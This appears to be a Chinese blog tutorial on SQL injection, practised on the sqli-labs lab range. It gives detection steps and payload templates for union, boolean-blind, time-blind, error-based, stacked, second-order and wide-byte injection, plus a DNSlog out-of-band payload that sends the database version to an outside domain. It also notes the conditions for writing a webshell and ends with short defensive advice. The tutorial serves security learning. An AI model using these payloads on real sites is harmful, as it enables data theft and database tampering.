web渗透之sql注入

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁

一、前言


所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。



二、实验准备

本次实验使用sqli-labs-master靶场。


[靶场下载链接](https://codeload.github.com/Audi-1/sqli-labs/zip/master)


三、sql注入检测方法

1、数字型检测


本次实验使用靶场第二关


直接输入and 1=1  


http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=1





此时发现页面是正常显示的,我们跟着继续判断and 1=2


   http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=2






此时发现页面发生了变化,那么就可以判断这是一个数字型注入。


2、字符型检测


本次实验使用靶场第一关


在网站url栏上输入一个单引号


   http://127.0.0.1/sqli-labs-master/Less-1/?id=1





此时发现网站报错,大致意思为你有一个数据库语法错误,当在后面输入一个%23(注释符)之后会发现页面正常回显


当我们在单引号后面输入and 1=1 %23时,发现页面正常回显


  http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=1 %23


> 当我们将and 1=1换成and 1=2时发现页面报错


   http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=2 %23

> 此时便可以判断这是一个字符型注入


3、搜索型检测和xx型检测


这两种检测方法本质上是字符型检测的分支,只是需要根据不同的报错信息进行构造闭合

四、常见的注入手法

1、union注入


首先要知道的是union注入一般是配合order by语句用于两个或多个sql语句集合


ps: order by是指在sql语句后面进行排序的,通常我们用order by来判断查询的字段有几位


(1).union联合报错注入

   select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

(2).union联合查询

   ?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+


2、盲注


> 盲注是指在不知道数据库返回值的情况下对数据中的内容进行猜测,一般分为布尔盲注、时间盲注、报错盲注


(1).布尔盲注

a.判断数据库长度


   and (length(database()))=一个数 %23


b.判断当前数据库名


   and (ascii(substr(database(),1,1)))=一个数 %23



c.判断当前数据库下表的数量



   and (select count(*) from information_schema.tables where table_schema='数据库名')=一个数  %23


d.判断每个表的长度


   and(length((select table_name from information_schema.tables where table_schema='库名' limit0,1)))=一个数 %23



ps:

limit 后面数字的意义:

第一位表示判断第几张表(第一张表记作0)

第二位表示一次截取几条数据,默认为1


e.取表名


   and(ascii(subste((select table_name from information_schema.tables where table_schema='库名' limit0,1),1,1))=一个数)


f.查询当前数据库下,该表内有多少个字段


   and(select count(*)from information_schema columns where table_schema='库名' and table_name='表名')=一个数 %23


g.判断字段的长度


   and  (length((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)))=一个数%23


h.判断第一个字段的第一位的名称


   and  (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23


i.判断第一条数据的长度


   and(length((select 字段名 from 表名 limit 1,1)))=一个数 %23


j.获取第一条数据


   and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=一个数 %23

(2).时间盲注

a.判断是否存在时间盲注


   and sleep(5) %23


b.查询当前数据库的长度,如果正确那么就延迟


   and if((length(database()))>此处填判断的时间,sleep(此处填延迟的时间),1) --+

 

c.判断当前数据库名第一位是否为a


   and if((substr(database(),1,1)='a'),sleep(5),1)  %23


d.判断当前数据库名第一位ascii码


   and if((ascii(substr(database(),1,1))=此处填判断的数字),sleep(延迟的时间),1)  %23


e.查询表数量


   and if((select count(*) from information_schema.tables where table_schema='库名称)=此处填判断的数字,sleep(此处填延迟的时间),1)%23


f.查询表名长度


   and if((select length((select table_name from information_schema.tables where table_schema='库名' limit 3,1))=此处填判断的数字),sleep(此处填延迟的时间),1)%23


g.截取表名第一位


   and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间)),1)%23


h.查询列字段数量


   and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=此处填判断的数字),sleep(此处填延迟的时间),1)%23


i.查询列名长度


   and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=此处填判断的数字),sleep(此处填延迟的时间),1)%23


j.截取列名第一位


and if((select ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23


k.查询第一条数据的长度


   and if((select length((select id from 表名  limit 0,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23


l.获取数据信息内容


   and if((select ascii(substr((select id from 表名  limit 0,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23


2.报错注入


(1).floor报错

   and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23


(2).extractvalue报错


   select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));


(3).updatexml报错


   select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));


a.查表语句


   and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'~'),3) %23


b.查字段语句


   and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),'~'),3) %23


c.查数据语句


   and updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) %23



(4).geometrycollection报错


   select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));


(5).multipoint报错


   select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));


(6).polygon报错


   select * from test where id=1 and polygon((select * from(select * from(select user())a)b));


(7).multipolygon报错


   select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));


(8).linestring报错


   select * from test where id=1 and linestring((select * from(select * from(select user())a)b));


(9).multilinestring报错


   select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));


(10).exp报错


   select * from test where id=1 and exp(~(select * from(select user())a));


3.堆叠注入

(1).原理


mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句


例如:


   select * from users;show databases;


就同时执行以上两条命令,所以我们可以增删改查,只要权限够

虽然这个注入姿势很牛,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。


4.二次注入

二次注入可以概括为以下两步:


第一步:插入恶意数据


进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。


第二步:引用恶意数据


开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。


3.宽字节注入

(1).原理


> 当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。


(2).宽字节注入条件


> (1)数据库查询设置为GBK编码

(2)使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数


[附:GBK编码表 https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php

](https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php)


4.dnslong盲注



利用条件:


mysql.ini中secure_file_priv必须为空

secure_file_priv 为null 不允许导入导出

secure_file_priv 为/tmp 导入导出只能在/tmp目录下

secure_file_priv 为空时 则不做限制允许导入导出


语句



   ' and  load_file(concat('\\\\',(select version()),'.0j7pyz.dnslog.cn\\abc')) %23


[赠:域名http://www.dnslog.cn/](http://www.dnslog.cn/)


5.请求头注入

需利用:burp



(1)UA头注入

(2)referer注入

(3)cookie注入


6.sql注入写入webshell

条件


> (1)当前sql注入用户必须为DBA权限(--is-dba为true)

(2)需要知道网站的绝对路径

(3)My.ini文件中的这项配置secure_file_priv=””为空


五、总结


SQL注入最大的危害在于数据泄露,但SQL注入并不能直接获得Web系统的权限。在对抗SQL注入攻击方面,有效的措施是过滤和转义,针对中小型站点尽可能限制数据类型,限制提交数据的字符类型,对特殊字符及敏感函数进行过滤。针对大型站点推荐利用预编译方法或参数化查询。

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
25天前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
63 1
|
24天前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
2月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
109 8
|
2月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
88 3
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
109 5
|
2月前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
在Web开发中,安全至关重要,尤其要警惕SQL注入和XSS攻击。SQL注入通过在数据库查询中插入恶意代码来窃取或篡改数据,而XSS攻击则通过注入恶意脚本来窃取用户敏感信息。本文将带你深入了解这两种威胁,并提供Python实战技巧,包括使用参数化查询和ORM框架防御SQL注入,以及利用模板引擎自动转义和内容安全策略(CSP)防范XSS攻击。通过掌握这些方法,你将能够更加自信地应对Web安全挑战,确保应用程序的安全性。
81 3
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
58 5
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
94 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
44 1
|
17天前
|
XML JSON API
ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
75 3